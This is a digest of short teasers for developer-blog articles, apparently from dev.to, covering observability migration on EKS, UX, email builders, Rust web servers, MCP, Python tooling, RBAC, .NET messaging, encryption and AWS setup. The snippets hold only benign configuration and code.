    We have VictoriaMetrics and VictoriaLogs running on an AWS Elastic Kubernetes Service cluster. We do major upgrades to EKS by creating a new cluster, and therefore, we have to transfer monitoring data from the old VMSingle instance to the new one. For VictoriaMetrics, there is the vmctl tool which can migrate data through the APIs of the old and new instances, acting as a proxy between the two instances. With VictoriaLogs, the situation is still a bit more complicated and there are currently two options — let’s look at them further. So, here’s our setup: old Kubernetes cluster EKS 1.30 new Kubernetes cluster EKS 1.33 VictoriaMetrics and VictoriaLogs are deployed with our own Helm-chart which installs victoria-metrics-k8s-stack and victoria-logs-single through dependencies, plus a set of va…  ( 14 min )
    🌍 How Global Teams Win at UX (& the CSS Subgrid Power Move)
    Hey 👋 Welcome to this week’s Unicorn Club. If you’re as fascinated by those subtle CSS discoveries as I am, don’t miss Chris Coyier’s journey into animation-composition and stacked transforms. It’s a good reminder that sometimes the ‘aha’ moments come from just digging into how things actually work, not just following docs. Spot something interesting this week? Hit reply—always happy to share the best finds from the community. Enjoy the read and have a great week! Adam at Unicorn Club 🦄 Get the latest edition delivered straight to your inbox every week. By subscribing, you'll: Receive the newsletter earlier than everyone else. Access exclusive content not available to non-subscribers. Stay updated with the latest trends in design, coding, and innovation. Don't miss out! Click the li…  ( 5 min )
    Empathy Engineered
    In a sunlit kitchen, a Labrador named Daisy sits by her feeding bowl. Across the country, a tabby cat chases digital butterflies on a tablet app. Unseen but ever-watchful, artificial intelligence is learning how Daisy feels, how the tabby thinks, and how both can live happier, healthier lives. Once, empathy belonged solely to humans. Now, as the boundary between technology and compassion blurs, AI is not just transforming pet care—it is quietly reshaping the bonds we share with our animal companions, promising a future where machines understand and nurture, just as much as they monitor and protect. For centuries, pet care has been an intimate ballet—human intuition paired with animal signals, tail wags interpreted as joy, purrs as contentment, and whimpers as distress. Although veterinary …  ( 11 min )
    The clock is still ticking! You still got your chance!
    Frontend Challenge for Students & Grads: Make Pianista Sing! (Cash Prizes + Internship) Ricardo Ferreira ・ Jul 16 #frontendchallenge #challenge #webdev #career  ( 2 min )
    Will AI Replace RPA? The Real Limits of Automation
    Lately, there’s a growing debate over whether AI will completely replace Robotic Process Automation (RPA). Some predict RPA’s imminent demise. But is this prediction realistic? Here’s how we see it at Maybe: Automation today comes in two main flavors: Traditional RPA: Handles programmable, repetitive tasks. It’s predictable, stable, and efficiency-focused, like a factory assembly line. AI Agent: Manages vague but describable goals. It’s flexible and adaptive—more like a personal assistant. In short, RPA optimizes known tasks, while Agents handle unknown situations. Technical feasibility shouldn’t overshadow cost: RPA has a high initial setup cost but minimal ongoing expenses. After the upfront investment, it runs nearly for free. Agents, however, require continuous interaction with Large L…  ( 4 min )
    Why Stripo is Better Than Other Email Builders?
    When it comes to crafting professional, responsive, and brand-consistent emails, the tool you use can make or break your productivity. Over the past few years, the email builder market has exploded with options like BeeFree, Mailchimp Builder, Unlayer, and more. But if you're serious about performance, design flexibility, and team collaboration, Stripo stands out as the clear winner. In this article, I’ll break down why Stripo outperforms other email builders, especially for developers, designers, and marketing teams looking to scale. 🧠 1. Smart Design Automation Saves Time 📖 How to Choose an Email Builder in 2025 — A Practical Guide 🧩 2. True Developer Support 👨‍💻 Why Developers Should Take Email Builders Seriously: My Experience with Stripo 🚀 3. 1400+ Prebuilt Templates and Universal Compatibility 🧪 Why Choosing the Right Email Builder in 2025 Actually Matters (Especially for Developers) 🤝 4. Collaboration-Ready for Teams 🔁 5. Export to 80+ ESPs and Custom Integrations 🆚 Stripo vs BeeFree — Real Feedback from Users 🔗 Stripo vs BeeFree — Dev.to 🔗 Why I Chose Stripo Over BeeFree (Medium) 🔗 Choosing the Right Email Builder in 2025 — What I Learned the Hard Way 🧰 Bonus: GitHub Resources for Devs Final Thoughts In a market full of rigid builders and walled-off platforms, Stripo manages to be both powerful and flexible — a tool that respects the craft of email design and development. Whether you’re a solo marketer or part of a cross-functional growth team, Stripo helps you move faster, stay consistent, and look great in every inbox.  ( 4 min )
    Efficient WebSocket Server-Side Processing(8905)
    GitHub Homepage During my junior year studies, WebSocket technology has always been my most interested real-time communication solution. Compared to traditional HTTP polling, WebSocket provides true bidirectional real-time communication capabilities. Recently, I deeply studied a Rust-based web framework whose WebSocket server-side processing implementation gave me a completely new understanding of modern real-time communication technology. In my previous projects, I used Node.js Socket.io to implement WebSocket functionality. While powerful, its complex configuration and high resource consumption left a deep impression on me. // Traditional Node.js WebSocket implementation const io = require('socket.io')(server); const clients = new Map(); io.on('connection', (socket) => { console.log('…  ( 7 min )
    Launch Your Solana Token in Seconds — Introducing SolCat.FUN
    Hey everyone We're a team of indie developers exploring tools for the Solana ecosystem. SolCat - a lightweight app that helps you launch and manage SPL tokens directly through your Phantom wallet. Whether you're launching a meme token, experimenting with SPL tools, or building something more serious, SolCat helps you: Whether you're launching a meme token, experimenting with SPL tools, or building something more serious, SolCat helps you: Mint new tokens (SPL-compliant) Revoke minting authority Revoke freeze authority Make metadata immutable View token info and mint additional supply (if allowed) Do it all through Phantom There are many tools out there, but most are either too technical, too clunky, or require CLI/Web3 knowledge. We wanted to create something: Easy to use Visually clean Focused on security (with authority revoking and immutability as key features) Frontend: Next.js + Tailwind + Phantom Adapter Backend: Render + PostgreSQL (only for token record storage) Blockchain: Solana (using @solana/web3.js and Metaplex SDK) SolCat is live at: https://solcat.fun If you're into Solana, Phantom, or building tools for creators and communities — we’d love your thoughts. Feel free to drop suggestions, bug reports, or feature ideas. Telegram: https://t.me/solcat_fun  ( 3 min )
    Building Code Craft in 6 Days: My AI Hackathon Journey with Bolt
    By Akhil | July 23rd When I first heard about the Bolt Hackathon, I honestly thought I had missed the boat. The hackathon had been running for weeks, and I only had 6 days left when I decided to jump in. But something inside me said, “Just go for it.” I had been thinking a lot about how AI could help security researchers break down the complexity of Web3 protocols. So I took a step, cleared my schedule, and committed to building something meaningful - solo. That’s how Code Craft was born. Code Craft is a full-stack AI-powered application that allows users to input any Web3 protocol's GitHub repo and docs link and instantly get: Summaries of the protocol Smart contract architecture diagrams Component-level explanations Security assessments And I built the entire application in just 6 days. …  ( 6 min )
    Build context-aware AI apps using MCP
    This tutorial was originally published on IBM Developer. Large language models (LLMs) have transformed how developers build applications, but they face a fundamental limitation: they operate in isolation from the data and tools that make applications truly useful. Whether it's accessing your company's database, reading files from your filesystem, or connecting to APIs, LLMs need a standardized way to interact with external systems. The Model Context Protocol (MCP) addresses these limitations by providing a standardization layer for AI agents to be context-aware while integrating with the data and tools. Learn more about what MCP is, its client-server architecture components, and its real-world benefits in this “What is MCP?” article or in the MCP docs. The following figure shows the typical MCP architecture, with MCP hosts, MCP clients, MCP servers, and your own data and tools. In this comprehensive tutorial, we'll explore MCP and learn how to build a production-ready integration with IBM watsonx.ai, demonstrating how to create AI applications that can seamlessly connect to enterprise data and services. Continue reading on IBM Developer to learn how to build context-aware AI applications using MCP with Granite models...  ( 3 min )
    How to Set Up and Manage APIs Using Kalp Studio’s API Gateway
    If you’ve followed our last post on Deploying Your First Smart Contract Using KID, you probably deployed your first contract without touching a single CLI or RPC node. That’s a big step, but now comes the question: How do you interact with that contract from your frontend or backend app? In traditional development, this would be the part where you spin up an Express server or create API routes for your app. But in Web3, it usually means diving into ABI encoding, JSON-RPC specs, node configs, and all kinds of backend glue. That’s exactly what Kalp Studio’s API Gateway was designed to eliminate. In this article, we’ll walk you through how to go from a deployed smart contract to production-ready REST APIs, all within Kalp Studio. We’ll also cover how to test those endpoints using Postman…  ( 5 min )
    Middleware Architecture Patterns for Request Processing(1460)
    GitHub Homepage: https://github.com/eastspire/hyperlane My understanding of middleware architecture evolved during a complex project where we needed to implement authentication, logging, rate limiting, and CORS handling across dozens of API endpoints. Initially, we duplicated logic across handlers, creating a maintenance nightmare. This experience led me to explore middleware patterns that could elegantly solve cross-cutting concerns while maintaining performance and flexibility. The breakthrough moment came when I realized that middleware isn't just about code organization—it's about creating composable, reusable components that can transform requests and responses in a predictable pipeline. My research revealed a framework that implements middleware patterns with exceptional performance …  ( 9 min )
    Using Data Engineering to Track Food Prices and Inflation in Kenya from 2006 to 2025
    Rising food prices continue to be a critical issue affecting many households in Kenya. As a data engineer passionate about impactful projects, I built a data pipeline to collect, model, and analyze food price and inflation trends in Kenya, shedding light on various patterns from 2006 to 2024. By building this pipeline, we can: Monitor inflation’s impact on staple food prices in various areas. Provide data-backed insights to policy makers, NGOs, and supply chain analysts. Improve food security planning through trend forecasting. Project Objectives To build a scalable data pipeline and star-schema data warehouse to analyze historical food prices across Kenyan markets and derive insights into inflation trends, particularly for food categories such as vegetables, fruits, meat…  ( 6 min )
    10+ Free and Open Source n8n Workflow Automation Templates to Boost Your Productivity
    If you're building, scaling, or automating anything, you probably already know the power of n8n the workflow automation tool that connects your favorite services and APIs with low code. But if you're short on time and who isn't, building everything from scratch in n8n can be a bit much. So we launched a Free collection of 10+ open-source workflow templates to help devs, startups, and creators automate faster. Automatically log meeting transcripts, extract key action items, and sync with Airtable so your project management stays up-to-date without extra work. Free n8n Airtable Workflow Automation Template Scrape new AI papers, generate AI-powered summaries, and save them to Notion with tags for easy reading and knowledge sharing. Free n8n Notion Workflow Automation Template Pull lead info …  ( 4 min )
    ## CodeHarmony
    CodeHarmony: What If You Could Hear Your Code? 🎵👨‍💻 markdown Have you ever thought about what your code would sound like if it were music? Not just random beeps and boops, but meaningful, structured music that reflects the architecture and flow of your programs? As developers, we recognize patterns in code visually - nested structures, repeating elements, logical flow. But what if we could experience these patterns through sound? CodeHarmony translates programming structures into musical elements: Variables become individual notes with instruments based on data types Functions transform into melodic phrases Loops create repeating musical patterns Conditionals introduce musical branching Errors produce dissonance that needs resolution While screen readers can read code aloud, they can't …  ( 4 min )
    How to Add a Module in the ABP.io Application?
    If you’re building your application with ABP.io, you’re already on the right path to creating scalable and professional software. One of the best things about ABP.io is how it supports modular architecture. But what does that really mean? In simple words, a module in ABP.io is like a complete feature package. It comes with its own logic, database setup, APIs, and even user interface parts. Think of it as a plug-and-play part of your application that keeps your code clean, reusable, and easy to manage. ABP.io provides many useful built-in modules like Identity, Tenant Management, and Audit Logging. These help you quickly add common features without writing everything from scratch. But sometimes, you need to go beyond the default options. Maybe your project has unique requirements. That’s wh…  ( 5 min )
    Your first Web Component (without JavaScript)
    Change your CSS grid definition: to: and you are done writing your first Custom Element/Web Component No more hunting for that closing Also see: https://dev.to/dannyengelman/not-a-div-insidein-sightsite-18lj  ( 3 min )
    Poetry Explained: A Better Tool for Managing Python Projects
    If you’ve worked with Python, you’ve probably used pip to install packages. It’s the default tool in Python to add libraries like Flask, Requests, or Pandas. But there's another tool called Poetry that does more than just install packages. Poetry helps manage your whole Python project: dependencies, virtual environments, versioning, and publishing, all in one place. In this article, we’ll explain: What Poetry is How to install and use it How it compares with pip When to choose Poetry over pip Let’s begin! Poetry is a Python dependency and package manager. It was created to solve the common problems Python developers face, such as: Messy requirements.txt files Confusing virtual environments Publishing packages to PyPI manually Poetry uses a single file — pyproject.toml — to …  ( 5 min )
    Why GPT-4.1 Feels Like the AI Coding Assistant I've Been Waiting For
    Image Credit: microstock.in Let me break down why it’s standing out in my day-to-day workflow. What Makes GPT-4.1 So Different? First, context length. This thing can handle up to 1 million tokens. That’s a game-changer. I’ve been able to paste in entire codebases, markdown docs, configs, and it still understands what’s going on. Previous models would lose context halfway through. Then there's the performance bump—27% better at coding tasks than GPT-4.5 based on SWE-Bench. That’s not just marketing. It’s noticeable when you’re debugging or asking it to refactor a mess of functions you’ve procrastinated cleaning up. Oh—and it’s 40% faster and 80% cheaper than GPT-4o. You read that right. How I Use GPT-4.1 Day to Day I’ve started treating GPT-4.1 more like a coding buddy than just a tool. Her…  ( 4 min )
    🚀 Hello, VeltoPHP Community Forum is Alive !
    Hey fellow developers! We're excited to announce that the VeltoPHP Community Forum is now live — a modern, lightweight, and developer-first community platform built entirely from scratch using VeltoPHP 2.0. VeltoPHP is our own open-source PHP framework that focuses on simplicity, modularity, and speed. No Laravel, no Symfony — just simple PHP, smart structure, basic JavaScript, and TailwindCSS. Why We Built This? We wanted a no-bloat, minimal alternative to traditional bulletin boards like phpBB. Something fast, easy to customize, and written with clean architecture in mind. Think of it like a Next.js style framework for PHP — modular, fast, and highly developer-friendly. What Makes VeltoPHP Community Forum Special Fast-loading UI powered by TailwindCSS and modular PHP views 100% written in VeltoPHP 2.0 (HMVC architecture) Built with zero heavy dependencies Clean UX with flat, distraction-free design Features like thread bookmarks, tag mentions (@username), modals, emoji picker, and flash alerts Easy to modify and self-host Open-source and developer-first by design Try the Demo The live VeltoPHP Forum will be available soon at: https://veltophp.com/community Want a sneak peek? https://veltophp.com/detail/thread/welcome-to-the-veltophp-community-forum Looking for Contributors & Feedback We're actively improving both the forum and the framework. If you're: A PHP enthusiast Tired of bloated frameworks Curious about modern modular PHP Looking for a clean base to build your own forum or community Then we’d love to have you try VeltoPHP Forum, share your feedback, fork the project, or contribute soon. Thanks for reading, The VeltoPHP Team  ( 3 min )
    Build Production-Ready Google Cloud Infrastructure with Terraform in 2025
    Complete step-by-step guide to creating VPC networks, subnets, and storage buckets using Infrastructure as Code Part 1 of our comprehensive 6-part Terraform on Google Cloud series - from beginner setup to advanced DevOps automation Ready to transform your Google Cloud infrastructure management? This comprehensive guide kicks off our Terraform on Google Cloud series, where you'll master professional-level cloud automation, GitHub Actions CI/CD, advanced security patterns, and production-ready DevOps practices. By the end of this tutorial series, you'll have hands-on experience with: Infrastructure as Code fundamentals and best practices Automated CI/CD pipelines with GitHub Actions and Workload Identity Federation Production security with Secret Manager and key rotation Serverless computi…  ( 11 min )
    5 Best Tools to Instantly Generate API Documentation from Your Code
    Maintaining good API documentation is one of the most important yet time-consuming tasks for any development team. From onboarding new developers to supporting third-party integrations, clear and accurate documentation directly impacts developer experience. But creating it manually? That’s error-prone, repetitive, and doesn't scale well with modern CI/CD practices. Fortunately, several tools now allow you to automatically generate API documentation straight from your code, helping you stay up-to-date, reduce friction, and focus more on development rather than doc writing. Whether you're building REST APIs, GraphQL endpoints, or internal developer portals, this list breaks down the top five tools that can help you generate documentation instantly and efficiently. Before diving into the tool…  ( 7 min )
    Bidirectional Communication Patterns in Modern Web Apps(9594)
    GitHub Homepage: https://github.com/eastspire/hyperlane During my final year project on distributed systems, I encountered a fundamental challenge that shapes modern web development: how to enable efficient bidirectional communication between clients and servers. Traditional request-response patterns felt inadequate for the interactive applications we were building. My exploration of bidirectional communication led me to discover patterns that revolutionize how we think about client-server interaction. The breakthrough came when I realized that most web applications still operate under outdated communication paradigms designed for static content delivery. Modern applications require dynamic, interactive communication patterns that traditional HTTP cannot efficiently provide. My research re…  ( 8 min )
    Your Device’s ID Cards: IP vs MAC with Real Life Analogies
    HEY FELLAS!! let’s take a real quick analogy to help us understand what an IP address and a MAC address actually are. So, imagine mailing a package across the country. IP address is like the full mailing address, It tells the system both where the package needs to go and where it’s coming from. In our analogy, your mailing address and your friend’s mailing address are the IP addresses of your device and your friend’s device. Here, It’s all about getting the data to the final destination, no matter how many networks (post offices in our analogy) it has to pass through. But along the way, You know, the package passes through several post offices (or we say routers in our networking world) , and at each one, it needs to be handed off to the right delivery person and that’s where the MAC address comes in. A MAC address is like a name tag stuck on your device’s network card. It’s unique to each device and helps deliver data within the same local network (In our analogy it could be several post offices) , you know like from one (post office) device to the next (post office) , one step (or “hop”) at a time. So it handles the hop-to-hop delivery from one stop to the next until it reaches the final destination.(To your friend in LA) Bottom line, when a message is being sent, the IP address helps guide it across the whole internet to reach it’s final destination, and at each step, the MAC address makes sure it reaches the right machine within that specific network.  ( 4 min )
    Cross-Platform Web Development Without Compromise(8237)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a computer science student working on cross-platform projects, I've always been frustrated by the compromises required when targeting multiple operating systems. My experience developing web services that needed to run seamlessly across Windows, Linux, and macOS led me to discover an approach that eliminates platform-specific code while maintaining native performance on all systems. The challenge became apparent during a group project where our team needed to deploy the same web service across heterogeneous infrastructure. Our initial Node.js implementation worked but suffered from platform-specific performance variations and deployment complexities. This experience motivated me to explore alternatives that could deliver consistent…  ( 6 min )
    5 Big Developer Problems Solved by Knowledge Management Tools
    Understood! I’ll create a rich, comprehensive article with detailed explanations for each heading, plus supporting bullet points inside each section for clarity and readability. It will mix narrative and structured bullets, exactly as you asked. 5 Big Developer Problems Solved by Knowledge Management Tools Software development is a high-speed world where efficiency defines success. Yet, even the most advanced teams often struggle with challenges that have nothing to do with coding skills or frameworks. These issues arise from a deeper problem: how knowledge is shared, stored, and accessed within the team. When information is scattered across Slack threads, buried in old emails, or stuck in someone’s memory, development slows to a crawl. The result? Missed deadlines, duplicated work, and …  ( 5 min )
    This is how My tech journey started....
    🌟“Every tech journey is unique — here’s mine.” All techies and developers have their own unique stories. Some switch careers later in life, others start coding just for fun, and many are inspired by someone they admire. In a similar way, my tech journey began at the age of 18 — not from a traditional tech background, but with a deep curiosity and a growing passion for computer science. What started as simple exploration quickly turned into a drive to build, learn, and create through technology. ---From Sanskrit Studies to Source Code... At that point in life, forget about coding — I didn’t even know how to turn on a computer. Following my family’s suggestion, I enrolled in a Sanskrit University. The idea was simple: becoming a Sanskrit teacher was considered a safe, respectable, and low-s…  ( 4 min )
    Secure Your Business Systems: 6 Developer Tools with RBAC Support
    Originally published at https://www.nocobase.com/en/blog/6-developer-tools-with-rbac-support. users → roles → permissions in a structured and manageable way. Its simplicity, auditability, and flexibility across diverse business scenarios have made it a default choice for many enterprise-grade systems. 💡 New to RBAC? Start with this guide: How to Design an RBAC (Role-Based Access Control) System As companies grow and user roles become increasingly diverse, managing secure, fine-grained access control has become a significant challenge. This explains why RBAC-related topics frequently surface in developer communities like Reddit. One developer shared on Reddit how difficult it was to manage OAuth login and assign user roles, and was looking for an easy-to-setup and free RBAC tool to streaml…  ( 6 min )
    [AutoBE] We made AI Friendly Compilers for Vibe Coding
    Github Repository: https://github.com/wrtnlabs/autobe Generation Result: https://github.com/wrtnlabs/autobe-example-bbs We are honored to introduce AutoBE to you. AutoBE is an open-source project developed by Wrtn Technologies (Korean AI startup company), a vibe coding agent that automatically generates backend applications. One of AutoBE's key features is that it always generates code with 100% compilation success. The secret lies in our proprietary compiler system. Through our self-developed compilers, we support AI in generating type-safe code, and when AI generates incorrect code, the compiler detects it and provides detailed feedback, guiding the AI to generate correct code. Through this approach, AutoBE always generates backend applications with 100% compilation success. When AI …  ( 10 min )
    From Zero to Hero: JavaScript Tutorial for Absolute Beginners
    Whether you're dreaming of building the next big web app or simply exploring programming as a new skill, JavaScript is your perfect starting point. This JavaScript tutorial is crafted specifically for absolute beginners, guiding you from the very basics to writing your first interactive webpage. JavaScript is the language of the web. It powers interactive features on nearly every website you visit — from clickable buttons to real-time form validation and dynamic page content. Whether you aim to become a front-end developer, full-stack engineer, or freelance coder, mastering JavaScript is essential. Here’s why JavaScript stands out: It runs directly in the browser (no setup headaches). It’s beginner-friendly with a supportive global community. It integrates perfectly with HTML and CSS. It’s…  ( 5 min )
    Querying Restful/JSON data:SPL Lightweight Multisource Mixed Computation Practices #3
    Restful is a commonly used data source, and almost all Restful data is of JSON format. So we put them in the same section. Access http://192.168.2.52:8503/orders to get the order data: [ { "order_id": "ORD001", "order_date": "2025-03-01", "customer": "Alice Johnson", "order_details": [ { "detail_id": "D001", "quantity": 2, "price": 50.0, "product": { "product_id": "P001", "name": "Wireless Mouse", "category": "Electronics" } }, { "detail_id": "D002", "quantity": 1, "price": 120.0, "product": { "product_id": "P002", "name": "Mechanical Keyboard", "category": "Electronics" } } ] }, … ] Find orders that c…  ( 4 min )
    What is the role of the bootloader in Arduino? Why is the Bootloader Needed?
    The bootloader in Arduino is a small but critical piece of firmware that enables easy programming and execution of user code. It acts as a bridge between the Arduino IDE and the microcontroller (e.g., ATmega328P in Arduino Uno). Below is a detailed breakdown of its role, importance, and how it works. 1. What Does the Bootloader Do? Key Functions: 1. Initializes the Microcontroller Runs when the board powers up or resets. Sets up basic hardware (clocks, peripherals). 2. Waits for New Code (Optional) Checks if a new program is being uploaded via USB/serial. If no upload is detected within a few seconds, it jumps to the user program. 3. Handles Firmware Uploads Receives compiled code (.hex file) from the Arduino IDE over UART (Serial) or USB (on newer boards). Writes the new program to flash…  ( 4 min )
    🔥 The Future of UX/UI Design: 7 Game-Changing Trends Designers Can’t Ignore in 2025
    In 2020, I designed interfaces focused on clarity, simplicity, and a splash of modern color palettes. Fast forward to 2025, and I’m now designing experiences—ones that feel, respond, and remember. So what changed? The user. Users no longer want pretty screens; they want meaningful interactions. And the tools, frameworks, and design philosophies we rely on are evolving to meet those expectations. If you’re a designer, product developer, or simply fascinated by how humans interact with technology, keep reading. These 7 UX/UI trends will help you design smarter, faster, and more intuitively this year. AI-Powered Personalization Is the New UX Superpower Personalization is no longer a bonus—it’s expected. AI now helps tailor everything from color schemes to content blocks based on a user’s past…  ( 4 min )
    How to Add Product Customization Features in Shopify
    Making sure customers have a good experience is vital for all businesses in today’s world. Providing product customization is an excellent way to increase customer experience. Product customization allows customers to make the products their own, which usually leads to an increase in sales and customer satisfaction. Key Takeaways Custom made products can enrich the customer experience, and enhance sales. Use a shopify product customization app to make the customization and personalization process easy and simple to implement. It is a saturated marketplace and personalized options are one way to differentiate your business from the competition. Customized products can lead to satisfied customers. Adding customization options on the website is a smart move for e-commerce businesses. If you'…  ( 8 min )
    A FREE and Open Source Airtable Alternative - How to Spin Up NocoDB Using Docker
    NocoDB is an open-source Airtable alternative. On their site they claim that it "allows building no-code database solutions with ease of spreadsheets." You can turn any database into a smart spreadsheet interface, create forms, build APIs, and collaborate with your team. In this guide, I want to show you how easy it is to spin up your own instance of this free database management tool in the cloud using Docker and Sliplane. Local Testing Run in the Cloud Summary You can test the setup locally on your computer. Just make sure Docker Desktop is installed and running on your machine. However its even easier if you do it directly in Sliplane, what I will describe in the next section. Open a terminal and run: docker run -d --name nocodb \ -v "$(pwd)"/nocodb:/usr/app/data/ \ -p 8080:8080…  ( 6 min )
    Migração para Brighter V10 com MS SQL Server
    Em artigos anteriores, abordei a integração do Brighter com o MS SQL Server e o Brighter V10 RC1. Este guia foca na migração para o Brighter V10, destacando mudanças de configuração do MS SQL Server e atualizações que quebram compatibilidade. .NET 8 ou superior Um projeto .NET com estes pacotes NuGet: Paramore.Brighter.MessagingGateway.MsSql: Habilita integração com MS SQL Server. Paramore.Brighter.ServiceActivator.Extensions.DependencyInjection: Permite registrar o Brighter no Microsoft DI. Paramore.Brighter.ServiceActivator.Extensions.Hosting: Hospeda o Brighter como serviço em segundo plano. Serilog.AspNetCore: Para logging estruturado (opcional, mas recomendado). Antes de continuar sobre a configuração do RabbitMQ, vamos recapitular o que já sabemos sobre o Brighter. Defina mensagen…  ( 5 min )
    Migrating to Brighter V10 with MS SQL
    In previous articles, I covered Brighter integration with MS SQL Server and Brighter V10 RC1. This guide focuses on migrating to Brighter V10, emphasizing MS SQL Server configuration changes and breaking updates. .NET 8 or superior A .NET project with these NuGet packages Paramore.Brighter.MessagingGateway.MsSql: Enables MS SQL Server integration. Paramore.Brighter.ServiceActivator.Extensions.DependencyInjection: Enable register Brighter with Microsoft DI. Paramore.Brighter.ServiceActivator.Extensions.Hosting: Hosts Brighter as a background service. Serilog.AspNetCore: For structured logging (optional but recommended). Before continuing about SQL Server configuration, let's recap what we already know about Brighter. Define messages using IRequest: public class Greeting() : Event(Guid.Ne…  ( 5 min )
    Excel for Asset Inventory: Why It’s Time for an Upgrade
    For many years, Microsoft Excel has been the go-to tool for managing asset inventories. It's widely used, familiar to most employees, and relatively easy to set up. However, as your business grows and your asset inventory becomes more complex, relying on Excel may no longer be the best solution. Despite its advantages, Excel comes with significant limitations that can hinder the efficiency, accuracy, and security of your asset management. Related Blog: Free Asset Management Template Excel to Organize Your IT Inventory Excel has been a go-to tool for managing asset inventories for a long time, and it’s easy to see why. It’s simple, familiar to most people, and flexible enough to set up quickly without needing a lot of technical know-how. Because of these reasons, many businesses have relied…  ( 9 min )
    DEK-KEK the industry standard to protect highly sensitive data (Part 1)
    (Part 1 - Foundational concepts) Read the original post over here Fystack Blog DEK-KEK is a hybrid encryption approach designed to balance security, performance, and operational simplicity. It’s widely adopted by institutional enterprises, think banks, insurance companies, and crypto exchanges where centralized servers must store extremely sensitive data such as PII (Personally Identifiable Information), crypto private keys, or MPC keyshares. References and industry examples: Microsoft Azure – Encryption at Rest Google Cloud KMS – Envelope Encryption Wikipedia – Hybrid Cryptosystem (Envelope Encryption) ZeroToHero – Understanding DEK and KEK in Encryption Let's get started by some foundational concepts, industry standards for data protection and how Fystack makes technical de…  ( 7 min )
    AWS SAA – Day 0: Setting up your Free Plan Account
    👋 About Me Hi! I’m Hieu Vu, an Infrastructure/Cloud Architect/DevOps with over 3.5 years of experience in software development and cloud systems. I'm an AWS Certified Solutions Architect – Associate, and I am a cloud instructor too 😁. This blog series, '30 Days to AWS SAA,' is meant to guide you through the essentials of AWS in a hands-on, structured way. 

Let’s begin with Day 0: setting up your Free Plan AWS account. Are you starting your cloud journey?
 Before we dive into IAM, EC2, or S3... Let's begin with the most important first step — creating your AWS Free Plan account.

 This guide walks you through every step of setting up your account and getting ready for hands-on AWS learning. According to AWS, they have provided a Free Plan so new users can explore cloud services as fol…  ( 5 min )
    Beyond the Shopping Cart: The Creator's Guide to AI and 3D Fashion Design Tools
    We often talk about AI in fashion from the consumer's perspective: virtual try-on, personalized recommendations, and AR filters. But what about the other side of the screen? Who is building the digital garments that power these experiences? create, not just consume, the future of fashion. The Modern Digital Fashion Workflow Before we dive into the tools, understand the new creative process: Conceptualization (AI Ideation): Using AI to generate novel design ideas. Creation (3D Modeling): Building the garment from digital patterns, just like a real tailor. Simulation (Physics & Fabric): Simulating how the fabric folds, stretches, and moves on a 3D avatar. Presentation (Rendering & Showcasing): Creating stunning images or interactive scenes. Here are the tools that power each step. 1. For P…  ( 5 min )
    Power Your Innovation: LLM Model Selection within Azure's Ecosystem
    The rise of Large Language Models (LLMs) has opened unprecedented possibilities for businesses, from automating customer service to generating creative content. However, deploying and managing these complex models presents significant challenges, particularly for organisations lacking extensive AI infrastructure and expertise. Azure Foundry, a comprehensive platform designed to empower enterprises to harness the power of LLMs with enterprise-grade security, scalability, and cost optimisation. This article will delve into the core benefits of leveraging Azure Foundry for your LLM initiatives, showcasing how it simplifies deployment, maximises performance, and unlocks the full potential of AI for your business. Security is paramount in today's digital landscape, especially when dealing with …  ( 5 min )
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    This is super helpful! Especially breaking down the pricing considerations.
    My Favorite AI-Powered Document Tools in 2025 (and Why Devs Love Them!)👨‍💻 Fallon Jimmy ・ Jul 23 #webdev #programming #beginners #tutorial  ( 2 min )
    Untitled
    Check out this Pen I made!  ( 2 min )
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    bed
    [ { "chart_type": "line", "x_axis": "USAGE_DATE", "y_axis": [ "SPILLED_QUERIES", "OVER_PROVISIONED_QUERIES", "PEAK_HOUR_LONG_RUNNING_QUERIES", "SELECT_STAR_QUERIES", "UNPARTITIONED_SCAN_QUERIES", "REPEATED_QUERIES", "COMPLEX_JOIN_QUERIES", "ZERO_RESULT_QUERIES", "HIGH_COMPILE_QUERIES", "UNTAGGED_QUERIES" ], "title": "Daily Trend of Bad Practices", "tooltip_fields": ["USAGE_DATE", "bad_practice_type", "query_count"] }, { "chart_type": "bar", "x_axis": "ISSUE_TYPE", "y_axis": "COST_IMPACT", "title": "Total Cost Impact by Bad Practice", "tooltip_fields": ["ISSUE_TYPE", "COST_IMPACT", "RECOMMENDATION"] }, { "chart_type": "table", "title": "Bad Practice Summary", "columns": ["ISSUE_TYPE", "QUERY_COUNT", "COST_IMPACT", "RECOMMENDATION", "EXAMPLE_QUERY"] } ]  ( 2 min )
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    [Boost]
    Introducing Nexus: A Polished Dashboard Built with Vite, React, and Shadcn/ui Praveen Sripati ・ Jul 20 #devchallenge #frontendchallenge #css #javascript  ( 2 min )
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    Rheomesh now supports Recordings
    Once I posted about my WebRTC SFU library. Developing a WebRTC SFU library in Rust I’ve recently added a recording function to this project. This update brings new capabilities for capturing and processing RTP streams in flexible, server-friendly manner. The v0.5.0 release introduces recording features. And I published the documentation site. The recording feature is explained on the site. https://h3poteto.github.io/rheomesh//pages/04_recording/ Rather than creating a monolithic function that handles everything from capture to file generation, I opted for a more modular approach. The recording functionality simply forwards raw RTP packets, leaving encoding and file creation to external tools like FFmpeg or GStreamer. This design decision prioritizes flexibility, especially for server depl…  ( 4 min )
    Error Handling Strategies in High-Performance Web Servers(4229)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into robust error handling began during a production incident where a single unhandled exception brought down our entire web service. The cascade failure taught me that error handling isn't just about preventing crashes—it's about building resilient systems that gracefully degrade under stress while maintaining service availability. This experience led me to explore error handling strategies that could maintain both performance and reliability. The critical insight came when I realized that traditional error handling approaches often create performance bottlenecks through excessive exception throwing, complex stack unwinding, and resource cleanup overhead. My research revealed a framework that implements error handling patt…  ( 10 min )
    Dynamics 365 Solution Import Error: Missing Dependency from Sales App – How I Resolved It
    During a recent managed solution deployment in a Dynamics 365 CE sales environment, I encountered an unexpected import failure due to a missing dependency. The solution didn’t appear to rely on anything custom or uncommon, yet the deployment threw this error. Solution manifest import: FAILURE: The following solution cannot be imported. Some dependencies are missing. Missing dependency: ... Error: The async operation completed with a statuscode of Failed. This was triggered using the Power Platform CLI (PAC CLI). The missing dependency pointed …  ( 4 min )
    Beyond the Black Box: Why We Built Context Space as a Tool-First Infrastructure
